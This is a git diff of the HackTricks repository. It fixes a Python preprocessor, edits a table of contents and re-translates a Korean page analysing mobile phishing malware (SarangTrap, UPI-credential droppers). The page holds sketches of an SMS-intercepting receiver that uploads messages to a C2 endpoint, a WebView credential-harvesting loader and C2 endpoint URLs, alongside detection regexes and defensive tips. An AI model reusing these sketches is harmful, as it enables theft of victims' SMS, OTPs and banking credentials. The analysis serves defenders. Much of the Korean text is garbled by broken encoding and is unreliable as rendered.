diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 0165a854a..c525f665d 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
# logger.debug(f"Looking for {search} in {path}")
if isinstance(obj, dict) and key in obj and obj[key] == search:
return obj, path
@@ -54,26 +54,42 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
- chapter, _path = findtitle(href.split("#")[0], book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(href.split("#")[0], book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
else:
- chapter, _path = findtitle(href, book, "source_path")
- logger.debug(f'Recursive title search result: {chapter["name"]}')
- title = chapter['name']
+ result = findtitle(href, book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ title = chapter['name']
+ else:
+ raise Exception(f"Chapter not found for path: {href}")
except Exception as e:
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = " ".join(href.split("#")[1].split("-")).title()
- logger.debug(f'Ref has # using title: {title}')
+ result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = " ".join(href.split("#")[1].split("-")).title()
+ logger.debug(f'Ref has # using title: {title}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
else:
- chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
- title = chapter["name"]
- logger.debug(f'Recursive title search result: {chapter["name"]}')
+ result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+ if result is not None:
+ chapter, _path = result
+ title = chapter["name"]
+ logger.debug(f'Recursive title search result: {chapter["name"]}')
+ else:
+ raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {rel_path}')
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index d4104d430..abe382dcf 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -837,8 +837,9 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# ๐ค AI
- [AI Security](AI/README.md)
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index 4bdb9787b..cb7e92b33 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -1,67 +1,66 @@
-# ๋ชจ๋ฐ์ผ ํผ์ฑ ๋ฐ ์
์ฑ ์ฑ ๋ฐฐํฌ (์๋๋ก์ด๋ ๋ฐ iOS)
+# Mobile Phishing & Malicious App Distribution (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
-> ์ด ํ์ด์ง๋ ์ํ ํ์์๋ค์ด ํผ์ฑ(SEO, ์์
์์ง๋์ด๋ง, ๊ฐ์ง ์คํ ์ด, ๋ฐ์ดํ
์ฑ ๋ฑ)์ ํตํด **์
์ฑ ์๋๋ก์ด๋ APK** ๋ฐ **iOS ๋ชจ๋ฐ์ผ ๊ตฌ์ฑ ํ๋กํ**์ ๋ฐฐํฌํ๋ ๋ฐ ์ฌ์ฉํ๋ ๊ธฐ์ ์ ๋ค๋ฃน๋๋ค.
-> ์ด ์๋ฃ๋ Zimperium zLabs(2025)์ ์ํด ํญ๋ก๋ SarangTrap ์บ ํ์ธ๊ณผ ๊ธฐํ ๊ณต๊ฐ ์ฐ๊ตฌ์์ ์์ ๋์์ต๋๋ค.
+> ์ด ํ์ด์ง๋ ์ํ ํ์์๋ค์ด **malicious Android APKs** ๋ฐ **iOS mobile-configuration profiles**์(๋ฅผ) SEO, social engineering, fake stores, dating apps ๋ฑ๊ณผ ๊ฐ์ phishing์ ํตํด ๋ฐฐํฌํ๋ ๋ฐ ์ฌ์ฉํ๋ ๊ธฐ๋ฒ๋ค์ ๋ค๋ฃน๋๋ค. ์๋ฃ๋ Zimperium zLabs๊ฐ ๊ณต๊ฐํ SarangTrap ์บ ํ์ธ (2025) ๋ฐ ๊ธฐํ ๊ณต๊ฐ ์ฐ๊ตฌ๋ฅผ ๋ฐํ์ผ๋ก ํฉ๋๋ค.
## ๊ณต๊ฒฉ ํ๋ฆ
-1. **SEO/ํผ์ฑ ์ธํ๋ผ**
-* ์ ์ฌ ๋๋ฉ์ธ ์์ญ ๊ฐ ๋ฑ๋ก(๋ฐ์ดํ
, ํด๋ผ์ฐ๋ ๊ณต์ , ์ฐจ๋ ์๋น์ค ๋ฑ).
-โ Google์์ ์์๋ฅผ ๋งค๊ธฐ๊ธฐ ์ํด `
` ์์์ ํ์ง ์ธ์ด ํค์๋์ ์ด๋ชจ์ง๋ฅผ ์ฌ์ฉํฉ๋๋ค.
-โ *์๋๋ก์ด๋*(`.apk`) ๋ฐ *iOS* ์ค์น ์ง์นจ์ ๋์ผํ ๋๋ฉ ํ์ด์ง์ ํธ์คํ
ํฉ๋๋ค.
+1. **SEO/Phishing Infrastructure**
+* ์ ์ฌ ๋๋ฉ์ธ(๋ฐ์ดํธ ์ฌ์ดํธ, ํด๋ผ์ฐ๋ ๊ณต์ , ์ฐจ๋ ์๋น์ค ๋ฑ)์ ์์ญ ๊ฐ ๋ฑ๋ก.
+โ Google์์ ์์๋ฅผ ์ฌ๋ฆฌ๊ธฐ ์ํด `` ์์์ ์ง์ญ ์ธ์ด ํค์๋์ ์ด๋ชจ์ง ์ฌ์ฉ.
+โ ๋์ผ ๋๋ฉ ํ์ด์ง์ Android (`.apk`) ๋ฐ iOS ์ค์น ์ง์นจ์ ๋ชจ๋ ํธ์คํ
.
2. **1๋จ๊ณ ๋ค์ด๋ก๋**
-* ์๋๋ก์ด๋: *์๋ช
๋์ง ์์* ๋๋ โ์ 3์ ์คํ ์ดโ APK์ ๋ํ ์ง์ ๋งํฌ.
-* iOS: ์
์ฑ **mobileconfig** ํ๋กํ์ ๋ํ `itms-services://` ๋๋ ์ผ๋ฐ HTTPS ๋งํฌ(์๋ ์ฐธ์กฐ).
-3. **์ค์น ํ ์์
์์ง๋์ด๋ง**
-* ์ฒซ ์คํ ์ ์ฑ์ด **์ด๋/๊ฒ์ฆ ์ฝ๋**๋ฅผ ์์ฒญํฉ๋๋ค(๋
์ ์ ๊ทผ ํ์).
-* ์ฝ๋๋ **HTTP๋ก POST**๋์ด Command-and-Control (C2)๋ก ์ ์ก๋ฉ๋๋ค.
-* C2๋ `{"success":true}`๋ก ์๋ต โ ์
์ฑ์ฝ๋๊ฐ ๊ณ์ ์คํ๋ฉ๋๋ค.
-* ์ ํจํ ์ฝ๋๋ฅผ ์ ์ถํ์ง ์๋ ์๋๋ฐ์ค/AV ๋์ ๋ถ์์ **์
์ฑ ํ๋์ด ์์**์ ํ์ธํฉ๋๋ค(ํํผ).
-4. **๋ฐํ์ ๊ถํ ๋จ์ฉ** (์๋๋ก์ด๋)
-* ์ํํ ๊ถํ์ **๊ธ์ ์ ์ธ C2 ์๋ต ํ์๋ง ์์ฒญ**๋ฉ๋๋ค:
+* Android: *unsigned* ๋๋ โthird-party storeโ APK๋ก ์ฐ๊ฒฐ๋๋ ์ง์ ๋งํฌ.
+* iOS: `itms-services://` ๋๋ ์ผ๋ฐ HTTPS ๋งํฌ๋ก ์
์ฑ **mobileconfig** ํ๋กํ์ผ๋ก ์ฐ๊ฒฐ.
+3. **์ค์น ํ Social Engineering**
+* ์ฑ์ ์ฒ์ ์คํํ๋ฉด **์ด๋ / ์ธ์ฆ ์ฝ๋**๋ฅผ ์๊ตฌ(๋
์ ์ ๊ทผ์ ํ์).
+* ์ฝ๋๋ Command-and-Control (C2)๋ก **HTTP๋ฅผ ํตํ POST**๋ก ์ ์ก๋๋ค.
+* C2๊ฐ `{"success":true}`๋ก ์๋ต โ malware๊ฐ ๊ณ์ ์๋.
+* ์ ํจํ ์ฝ๋๋ฅผ ์ ์ถํ์ง ์๋ Sandbox / AV dynamic analysis๋ **no malicious behaviour**๋ฅผ ๊ด์ฐฐ(ํํผ).
+4. **๋ฐํ์ ๊ถํ ๋จ์ฉ (Android)**
+* ์ํ ๊ถํ์ ๊ธ์ ์ ์ธ C2 ์๋ต ํ์๋ง ์์ฒญ๋๋ค:
```xml
-
+
```
-* ์ต๊ทผ ๋ณ์ข
์ `AndroidManifest.xml`์์ SMS์ ๋ํ ``์ **์ ๊ฑฐ**ํ์ง๋ง, SMS๋ฅผ ๋ฆฌํ๋ ์
์ ํตํด ์ฝ๋ Java/Kotlin ์ฝ๋ ๊ฒฝ๋ก๋ ๋จ๊ฒจ๋ก๋๋ค โ `AppOps` ๋จ์ฉ์ด๋ ์ด์ ํ๊ฒ์ ํตํด ๊ถํ์ ๋ถ์ฌ๋ฐ๋ ์ฅ์น์์ ์ฌ์ ํ ๊ธฐ๋ฅ์ ์
๋๋ค.
-5. **ํ์ฌ๋ UI ๋ฐ ๋ฐฑ๊ทธ๋ผ์ด๋ ์์ง**
-* ์ฑ์ ๋ก์ปฌ์์ ๊ตฌํ๋ ๋ฌดํดํ ๋ทฐ(SMS ๋ทฐ์ด, ๊ฐค๋ฌ๋ฆฌ ์ ํ๊ธฐ)๋ฅผ ํ์ํฉ๋๋ค.
-* ๋์์ ๋ค์์ ์ ์ถํฉ๋๋ค:
+* ์ต๊ทผ ๋ณ์ข
์ `AndroidManifest.xml`์์ SMS ๊ด๋ จ ``๋ฅผ ์ ๊ฑฐํ์ง๋ง Java/Kotlin ์ฝ๋ ๊ฒฝ๋ก๋ reflection์ ํตํด SMS๋ฅผ ์ฝ๋ ์ฝ๋๋ฅผ ๋จ๊ฒจ๋ โ ์ ์ ํ์ ์ ๋ฎ์์ง์ง๋ง `AppOps` ์ค์ฉ์ด๋ ์ค๋๋ ํ๊น์์ ๊ถํ์ด ํ์ฉ๋ ๊ธฐ๊ธฐ์์๋ ์ฌ์ ํ ๋์.
+5. **๊ฒ๋ณด๊ธฐ UI ๋ฐ ๋ฐฑ๊ทธ๋ผ์ด๋ ์์ง**
+* ์ฑ์ ๋ก์ปฌ๋ก ๊ตฌํ๋ ๋ฌดํดํ ๋ทฐ(SMS viewer, gallery picker)๋ฅผ ํ์.
+* ๋์์ ๋ค์์ ์ ์ถ/์์ง:
- IMEI / IMSI, ์ ํ๋ฒํธ
- ์ ์ฒด `ContactsContract` ๋คํ (JSON ๋ฐฐ์ด)
-- ํฌ๊ธฐ๋ฅผ ์ค์ด๊ธฐ ์ํด [Luban](https://github.com/Curzibn/Luban)์ผ๋ก ์์ถ๋ `/sdcard/DCIM`์ JPEG/PNG
+- `/sdcard/DCIM`์ JPEG/PNG๋ฅผ [Luban](https://github.com/Curzibn/Luban)์ผ๋ก ์์ถํ์ฌ ํฌ๊ธฐ ์ถ์
- ์ ํ์ SMS ๋ด์ฉ (`content://sms`)
-ํ์ด๋ก๋๋ **๋ฐฐ์น ์์ถ**๋์ด `HTTP POST /upload.php`๋ฅผ ํตํด ์ ์ก๋ฉ๋๋ค.
-6. **iOS ๋ฐฐํฌ ๊ธฐ์ **
-* ๋จ์ผ **๋ชจ๋ฐ์ผ ๊ตฌ์ฑ ํ๋กํ**์ด `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ๋ฑ์ ์์ฒญํ์ฌ ์ฅ์น๋ฅผ โMDMโ-์ ์ฌ ๊ฐ๋
์ ๋ฑ๋กํ ์ ์์ต๋๋ค.
-* ์์
์์ง๋์ด๋ง ์ง์นจ:
-1. ์ค์ ์ด๊ธฐ โ *ํ๋กํ ๋ค์ด๋ก๋๋จ*.
-2. *์ค์น*๋ฅผ ์ธ ๋ฒ ํญํฉ๋๋ค(ํผ์ฑ ํ์ด์ง์ ์คํฌ๋ฆฐ์ท).
-3. ์๋ช
๋์ง ์์ ํ๋กํ์ ์ ๋ขฐํฉ๋๋ค โ ๊ณต๊ฒฉ์๊ฐ *์ฐ๋ฝ์ฒ* ๋ฐ *์ฌ์ง* ๊ถํ์ App Store ๊ฒํ ์์ด ํ๋ํฉ๋๋ค.
-7. **๋คํธ์ํฌ ๋ ์ด์ด**
-* ์ผ๋ฐ HTTP, ์ข
์ข
ํฌํธ 80์์ `api..com`๊ณผ ๊ฐ์ HOST ํค๋๋ก.
-* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (TLS ์์ โ ์ฝ๊ฒ ํ์ง ๊ฐ๋ฅ).
+ํ์ด๋ก๋๋ **batch-zipped**๋์ด `HTTP POST /upload.php`๋ก ์ ์ก.
+6. **iOS ์ ๋ฌ ๊ธฐ๋ฒ**
+* ๋จ์ผ **mobile-configuration profile**์ด `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ๋ฑ์ผ๋ก ๊ธฐ๊ธฐ๋ฅผ โMDMโ-์ ์ฌ ๊ฐ๋
์ ๋ฑ๋กํ ์ ์์.
+* Social-engineering ์ง์นจ:
+1. Open Settings โ *Profile downloaded*.
+2. Tap *Install* three times (์คํฌ๋ฆฐ์ท์ ํผ์ฑ ํ์ด์ง ์ฐธ์กฐ).
+3. Trust the unsigned profile โ ๊ณต๊ฒฉ์๊ฐ App Store ๊ฒํ ์์ด *Contacts* ๋ฐ *Photo* ๊ถํ ํ๋.
+7. **๋คํธ์ํฌ ๊ณ์ธต**
+* Plain HTTP, ์ข
์ข
ํฌํธ 80์์ HOST ํค๋ ์: `api..com`.
+* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS โ ํ์ง ์ฌ์).
-## ๋ฐฉ์ด ํ
์คํธ / ๋ ๋ํ ํ
+## Defensive Testing / Red-Team Tips
-* **๋์ ๋ถ์ ์ฐํ** โ ์
์ฑ์ฝ๋ ํ๊ฐ ์ค Frida/Objection์ ์ฌ์ฉํ์ฌ ์ด๋ ์ฝ๋ ๋จ๊ณ๋ฅผ ์๋ํํ์ฌ ์
์ฑ ๋ถ๊ธฐ๋ก ๋๋ฌํฉ๋๋ค.
-* **๋งค๋ํ์คํธ vs. ๋ฐํ์ ์ฐจ์ด** โ `aapt dump permissions`์ ๋ฐํ์ `PackageManager#getRequestedPermissions()`๋ฅผ ๋น๊ตํฉ๋๋ค; ์ํํ ๊ถํ์ด ๋๋ฝ๋ ๊ฒฝ์ฐ ๊ฒฝ๊ณ ์ ํธ์
๋๋ค.
-* **๋คํธ์ํฌ ์นด๋๋ฆฌ** โ ์ฝ๋ ์
๋ ฅ ํ ๋ถ์์ ํ POST ํญ์ฃผ๋ฅผ ๊ฐ์งํ๊ธฐ ์ํด `iptables -p tcp --dport 80 -j NFQUEUE`๋ฅผ ๊ตฌ์ฑํฉ๋๋ค.
-* **mobileconfig ๊ฒ์ฌ** โ macOS์์ `security cms -D -i profile.mobileconfig`๋ฅผ ์ฌ์ฉํ์ฌ `PayloadContent`๋ฅผ ๋์ดํ๊ณ ๊ณผ๋ํ ๊ถํ์ ์ฐพ์๋
๋๋ค.
+* **Dynamic Analysis Bypass** โ malware ํ๊ฐ ์ค Frida/Objection์ผ๋ก ์ด๋ ์ฝ๋ ๋จ๊ณ๋ฅผ ์๋ํํด ์
์ฑ ๋ถ๊ธฐ๋ก ๋๋ฌ.
+* **Manifest vs. Runtime Diff** โ `aapt dump permissions`์ ๋ฐํ์ `PackageManager#getRequestedPermissions()`๋ฅผ ๋น๊ต; ์ํ ๊ถํ์ด ๋๋ฝ๋ ๊ฒฝ์ฐ ๊ฒฝ๊ณ ์ ํธ.
+* **Network Canary** โ ์ฝ๋ ์
๋ ฅ ํ ๋น์ ์์ ์ธ POST ๊ธ์ฆ์ ํ์งํ๊ธฐ ์ํด `iptables -p tcp --dport 80 -j NFQUEUE` ๊ตฌ์ฑ.
+* **mobileconfig Inspection** โ macOS์์ `security cms -D -i profile.mobileconfig`๋ฅผ ์ฌ์ฉํด `PayloadContent`๋ฅผ ๋์ดํ๊ณ ๊ณผ๋ํ ๊ถํ ์์ฒญ์ ์๋ณ.
-## ๋ธ๋ฃจํ ํ์ง ์์ด๋์ด
+## Blue-Team Detection Ideas
-* **์ธ์ฆ์ ํฌ๋ช
์ฑ / DNS ๋ถ์**์ ํตํด ํค์๋๊ฐ ํ๋ถํ ๋๋ฉ์ธ์ ๊ฐ์์ค๋ฌ์ด ํญ์ฃผ๋ฅผ ํฌ์ฐฉํฉ๋๋ค.
-* **User-Agent ๋ฐ ๊ฒฝ๋ก ์ ๊ท ํํ์**: `(?i)POST\s+/(check|upload)\.php`๋ฅผ Google Play ์ธ๋ถ์ Dalvik ํด๋ผ์ด์ธํธ์์ ์ฌ์ฉํฉ๋๋ค.
-* **์ด๋ ์ฝ๋ ํ
๋ ๋ฉํธ๋ฆฌ** โ APK ์ค์น ์งํ 6โ8์๋ฆฌ ์ซ์ ์ฝ๋์ POST๋ ์คํ
์ด์ง์ ๋ํ๋ผ ์ ์์ต๋๋ค.
-* **MobileConfig ์๋ช
** โ MDM ์ ์ฑ
์ ํตํด ์๋ช
๋์ง ์์ ๊ตฌ์ฑ ํ๋กํ์ ์ฐจ๋จํฉ๋๋ค.
+* **Certificate Transparency / DNS Analytics**๋ก ํค์๋๊ฐ ํ๋ถํ ๋๋ฉ์ธ์ ๊ฐ์์ค๋ฐ ์์ฑ ํญ์ฆ ํฌ์ฐฉ.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` โ Google Play ์ธ๋ถ์ Dalvik ํด๋ผ์ด์ธํธ์์ ์ค๋ ์์ฒญ์ ๊ฐ์ง.
+* **Invite-code Telemetry** โ APK ์ค์น ์งํ 6โ8์๋ฆฌ ์ซ์ ์ฝ๋์ POST๋ ์คํ
์ด์ง ๊ฐ๋ฅ์ฑ ์์ฌ.
+* **MobileConfig Signing** โ MDM ์ ์ฑ
์ ํตํด ์๋ช
๋์ง ์์ configuration profiles ์ฐจ๋จ.
-## ์ ์ฉํ Frida ์ค๋ํซ: ์ด๋ ์ฝ๋ ์๋ ์ฐํ
+## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@@ -88,30 +87,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
---
-## Android WebView ๊ฒฐ์ ํผ์ฑ (UPI) โ ๋๋กํผ + FCM C2 ํจํด
+## Android WebView Payment Phishing (UPI) โ Dropper + FCM C2 ํจํด
-์ด ํจํด์ ์ธ๋ UPI ์๊ฒฉ ์ฆ๋ช
๊ณผ OTP๋ฅผ ํ์น๊ธฐ ์ํด ์ ๋ถ ํํ ํ
๋ง๋ฅผ ์
์ฉํ๋ ์บ ํ์ธ์์ ๊ด์ฐฐ๋์์ต๋๋ค. ์ด์์๋ ๋ฐฐ๋ฌ๊ณผ ๋ณต์๋ ฅ์ ์ํด ์ ๋ขฐํ ์ ์๋ ํ๋ซํผ์ ์ฐ๊ฒฐํฉ๋๋ค.
+์ด ํจํด์ ์ ๋ถ ํํ ํ
๋ง๋ฅผ ์
์ฉํด ์ธ๋ UPI ์๊ฒฉ ์ฆ๋ช
๊ณผ OTP๋ฅผ ํ์ทจํ๋ ์บ ํ์ธ์์ ๊ด์ฐฐ๋์์ต๋๋ค. ์ด์์๋ค์ ์ ๋ฌ์ฑ๊ณผ ๋ณต์๋ ฅ์ ์ํด ์ ๋ขฐํ ์ ์๋ ํ๋ซํผ๋ค์ ์ฐ๊ณํฉ๋๋ค.
-### ์ ๋ขฐํ ์ ์๋ ํ๋ซํผ์ ํตํ ๋ฐฐ๋ฌ ์ฒด์ธ
-- YouTube ๋น๋์ค ์ ์ธ โ ์ค๋ช
์ ์งง์ ๋งํฌ ํฌํจ
-- ์งง์ ๋งํฌ โ ํฉ๋ฒ์ ์ธ ํฌํธ์ ๋ชจ๋ฐฉํ GitHub Pages ํผ์ฑ ์ฌ์ดํธ
-- ๋์ผํ GitHub ๋ฆฌํฌ์งํ ๋ฆฌ๋ ํ์ผ์ ์ง์ ์ฐ๊ฒฐ๋ ๊ฐ์ง โGoogle Playโ ๋ฐฐ์ง๋ฅผ ๊ฐ์ง APK๋ฅผ ํธ์คํ
-- ๋์ ํผ์ฑ ํ์ด์ง๋ Replit์์ ์ด์; ์๊ฒฉ ๋ช
๋ น ์ฑ๋์ Firebase Cloud Messaging (FCM)์ ์ฌ์ฉ
+### Delivery chain across trusted platforms
+- YouTube video lure โ description contains a short link
+- Shortlink โ GitHub Pages phishing site imitating the legit portal
+- Same GitHub repo hosts an APK with a fake โGoogle Playโ badge linking directly to the file
+- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
-### ์๋ฒ ๋๋ ํ์ด๋ก๋์ ์คํ๋ผ์ธ ์ค์น๊ฐ ํฌํจ๋ ๋๋กํผ
-- ์ฒซ ๋ฒ์งธ APK๋ ์ค์ ์
์ฑ์ฝ๋๋ฅผ `assets/app.apk`์ ๋ฐฐ์กํ๊ณ ์ฌ์ฉ์๊ฐ ํด๋ผ์ฐ๋ ํ์ง๋ฅผ ๋ฌด๋ ฅํํ๊ธฐ ์ํด WiโFi/๋ชจ๋ฐ์ผ ๋ฐ์ดํฐ๋ฅผ ๋นํ์ฑํํ๋๋ก ์ ๋ํ๋ ์ค์น ํ๋ก๊ทธ๋จ(๋๋กํผ)์
๋๋ค.
-- ์๋ฒ ๋๋ ํ์ด๋ก๋๋ ๋ฌดํดํ ๋ ์ด๋ธ(์: โ๋ณด์ ์
๋ฐ์ดํธโ) ์๋์ ์ค์น๋ฉ๋๋ค. ์ค์น ํ, ์ค์น ํ๋ก๊ทธ๋จ๊ณผ ํ์ด๋ก๋๋ ๋ณ๋์ ์ฑ์ผ๋ก ์กด์ฌํฉ๋๋ค.
+### Dropper with embedded payload and offline install
+- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable WiโFi/mobile data to blunt cloud detection.
+- The embedded payload installs under an innocuous label (e.g., โSecure Updateโ). After install, both the installer and the payload are present as separate apps.
-์ ์ ๋ถ๋ฅ ํ (์๋ฒ ๋๋ ํ์ด๋ก๋ ๊ฒ์):
+์ ์ ๋ถ์ ํ (grep for embedded payloads):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
-### ๋จ๊ธฐ ๋งํฌ๋ฅผ ํตํ ๋์ ์๋ํฌ์ธํธ ๋ฐ๊ฒฌ
-- ์
์ฑ ์ํํธ์จ์ด๋ ๋จ๊ธฐ ๋งํฌ์์ ์ค์๊ฐ ์๋ํฌ์ธํธ์ ์ผ๋ฐ ํ
์คํธ, ์ผํ๋ก ๊ตฌ๋ถ๋ ๋ชฉ๋ก์ ๊ฐ์ ธ์ต๋๋ค; ๊ฐ๋จํ ๋ฌธ์์ด ๋ณํ์ผ๋ก ์ต์ข
ํผ์ฑ ํ์ด์ง ๊ฒฝ๋ก๋ฅผ ์์ฑํฉ๋๋ค.
+### ๋จ์ถ ๋งํฌ๋ฅผ ํตํ ๋์ ์๋ํฌ์ธํธ ๋ฐ๊ฒฌ
+- Malware๋ ๋จ์ถ ๋งํฌ์์ ์ผ๋ฐ ํ
์คํธ(์ผํ๋ก ๊ตฌ๋ถ๋) ํ์ฑ ์๋ํฌ์ธํธ ๋ชฉ๋ก์ ๊ฐ์ ธ์ค๋ฉฐ; ๊ฐ๋จํ ๋ฌธ์์ด ๋ณํ์ผ๋ก ์ต์ข
phishing ํ์ด์ง ๊ฒฝ๋ก๋ฅผ ์์ฑํ๋ค.
-์์ (์ ๋ฆฌ๋จ):
+์์(์ต๋ช
์ฒ๋ฆฌ๋จ):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@@ -127,27 +126,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
-### WebView ๊ธฐ๋ฐ UPI ์๊ฒฉ ์ฆ๋ช
์์ง
-- โโน1 / UPIโLite ๊ฒฐ์ ํ๊ธฐโ ๋จ๊ณ๋ WebView ๋ด์ ๋์ ์๋ํฌ์ธํธ์์ ๊ณต๊ฒฉ์์ HTML ์์์ ๋ก๋ํ๊ณ ๋ฏผ๊ฐํ ํ๋(์ ํ, ์ํ, UPI PIN)๋ฅผ ์บก์ฒํ์ฌ `addup.php`๋ก `POST`ํฉ๋๋ค.
+### WebView-based UPI credential harvesting
+- โMake payment of โน1 / UPIโLiteโ ๋จ๊ณ๋ WebView ๋ด๋ถ์์ ๋์ ์๋ํฌ์ธํธ๋ก๋ถํฐ ๊ณต๊ฒฉ์ HTML ํผ์ ๋ก๋ํ๊ณ ๋ฏผ๊ฐํ ํ๋(์ ํ๋ฒํธ, ์ํ, UPI PIN)๋ฅผ ์บก์ฒํ ๋ค ์ด๋ฅผ `POST`๋ก `addup.php`์ ์ ์กํฉ๋๋ค.
-์ต์ ๋ก๋:
+๊ฐ๋จํ ๋ก๋:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https:///gate.htm
```
-### ์๊ธฐ ์ ํ ๋ฐ SMS/OTP ๊ฐ๋ก์ฑ๊ธฐ
-- ์ฒซ ์คํ ์ ๊ณต๊ฒฉ์ ์ธ ๊ถํ ์์ฒญ:
+### Self-propagation and SMS/OTP interception
+- ์ต์ด ์คํ ์ ๊ณผ๋ํ ๊ถํ์ ์์ฒญํฉ๋๋ค:
```xml
```
-- ์ฐ๋ฝ์ฒ๋ ํผํด์์ ์ฅ์น์์ ์ค๋ฏธ์ฑ SMS๋ฅผ ๋๋ ์ ์กํ๊ธฐ ์ํด ๋ฃจํ๋ฉ๋๋ค.
-- ์์ ๋ SMS๋ ๋ธ๋ก๋์บ์คํธ ๋ฆฌ์๋ฒ์ ์ํด ๊ฐ๋ก์ฑ์ด์ง๊ณ ๋ฉํ๋ฐ์ดํฐ(๋ฐ์ ์, ๋ณธ๋ฌธ, SIM ์ฌ๋กฏ, ์ฅ์น๋ณ ๋๋ค ID)์ ํจ๊ป `/addsm.php`์ ์
๋ก๋๋ฉ๋๋ค.
+- ์ฐ๋ฝ์ฒ๋ฅผ ๋ฐ๋ณต ์ฒ๋ฆฌํ์ฌ ํผํด์ ๊ธฐ๊ธฐ์์ smishing SMS๋ฅผ ๋๋ ๋ฐ์กํฉ๋๋ค.
+- ์์ SMS๋ broadcast receiver์ ์ํด ๊ฐ๋ก์ฑ์ ธ ๋ฉํ๋ฐ์ดํฐ(๋ฐ์ ์, ๋ณธ๋ฌธ, SIM ์ฌ๋กฏ, ๊ธฐ๊ธฐ๋ณ ๋๋ค ID)์ ํจ๊ป `/addsm.php`๋ก ์
๋ก๋๋ฉ๋๋ค.
-Receiver sketch:
+๋ฆฌ์๋ฒ ์ค์ผ์น:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@@ -161,10 +160,10 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
-### Firebase Cloud Messaging (FCM) as resilient C2
-- ํ์ด๋ก๋๋ FCM์ ๋ฑ๋ก๋ฉ๋๋ค; ํธ์ ๋ฉ์์ง๋ ๋์์ ํธ๋ฆฌ๊ฑฐํ๋ ๋ฐ ์ฌ์ฉ๋๋ `_type` ํ๋๋ฅผ ํฌํจํฉ๋๋ค (์: ํผ์ฑ ํ
์คํธ ํ
ํ๋ฆฟ ์
